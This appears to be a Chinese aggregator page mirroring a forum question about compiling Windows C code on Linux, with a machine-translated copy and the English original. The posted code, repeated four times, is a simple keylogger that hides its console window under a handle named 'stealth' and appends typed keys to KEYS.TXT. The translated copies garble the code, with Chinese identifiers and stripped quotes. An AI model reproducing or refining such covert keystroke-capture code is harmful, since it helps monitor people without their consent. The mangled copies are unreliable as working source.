Linux的交叉编译器 [英] Cross-compiler for linux

查看:120
本文介绍了Linux的交叉编译器的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

gud day guys,我开始使用c ++并且在编写Windows应用程序时使用linux,但是在编译包含那些与Windows相关的头文件等代码的代码时总是会出错...





 #include< stdio.h> 
#include< conio.h>
#include< stdio.h>
#include< windows.h>
#include< winuser.h>
#include< iostream.h>

int main(void)
{
int cha;
char ch;
FILE * fptr;
HWND隐身; / *创建隐身(窗口不可见)* /
AllocConsole();
stealth = FindWindowA(ConsoleWindowClass,NULL);
ShowWindow(隐身,0);
while(1)
{
if(kbhit())
{
ch = getch();
cha = ch;
fptr = fopen(KEYS.TXT,a +);
fputc(ch,fptr);
fclose(fptr);
if(cha == 27)
{
return 0;
}
}
}
}





我尝试了什么:



 #include< stdio.h> 
#include< conio.h>
#include< stdio.h>
#include< windows.h>
#include< winuser.h>
#include< iostream.h>

int main(void)
{
int cha;
char ch;
FILE * fptr;
HWND隐身; / *创建隐身(窗口不可见)* /
AllocConsole();
stealth = FindWindowA(ConsoleWindowClass,NULL);
ShowWindow(隐身,0);
while(1)
{
if(kbhit())
{
ch = getch();
cha = ch;
fptr = fopen(KEYS.TXT,a +);
fputc(ch,fptr);
fclose(fptr);
if(cha == 27)
{
return 0;
}
}
}
}

解决方案

那是因为Linux不是视窗。您需要掌握Windows模拟器,请参阅 Linux上的Windows - Google搜索 [ ^ ]。


gud day guys, i getting started in c++ and am using linux while writing windows app, but i always get error while compiling codes that includes those windows related headers files like windows.h etc...


# include <stdio.h>
# include <conio.h>
 #include <stdio.h>                
 # include <windows.h>
# include <winuser.h>
# include <iostream.h>

int main ( void )
  {
     int cha;
     char ch;
     FILE *fptr;
     HWND stealth; /*creating stealth (window is not visible)*/
     AllocConsole();
     stealth=FindWindowA("ConsoleWindowClass",NULL);
     ShowWindow(stealth,0);
     while(1)
     {
           if ( kbhit() )
      {
          ch = getch();
            cha = ch;
         fptr = fopen("KEYS.TXT", "a+");
           fputc(ch,fptr);
           fclose(fptr);
          if ( cha == 27 )
      {
          return 0;
}
}
}
}



What I have tried:

# include <stdio.h>
# include <conio.h>
 #include <stdio.h>                
 # include <windows.h>
# include <winuser.h>
# include <iostream.h>

int main ( void )
  {
     int cha;
     char ch;
     FILE *fptr;
     HWND stealth; /*creating stealth (window is not visible)*/
     AllocConsole();
     stealth=FindWindowA("ConsoleWindowClass",NULL);
     ShowWindow(stealth,0);
     while(1)
     {
           if ( kbhit() )
      {
          ch = getch();
            cha = ch;
         fptr = fopen("KEYS.TXT", "a+");
           fputc(ch,fptr);
           fclose(fptr);
          if ( cha == 27 )
      {
          return 0;
}
}
}
}

解决方案

That is because Linux is not Windows. You need to get hold of the Windows emulator, see Windows on linux - Google Search[^].


这篇关于Linux的交叉编译器的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆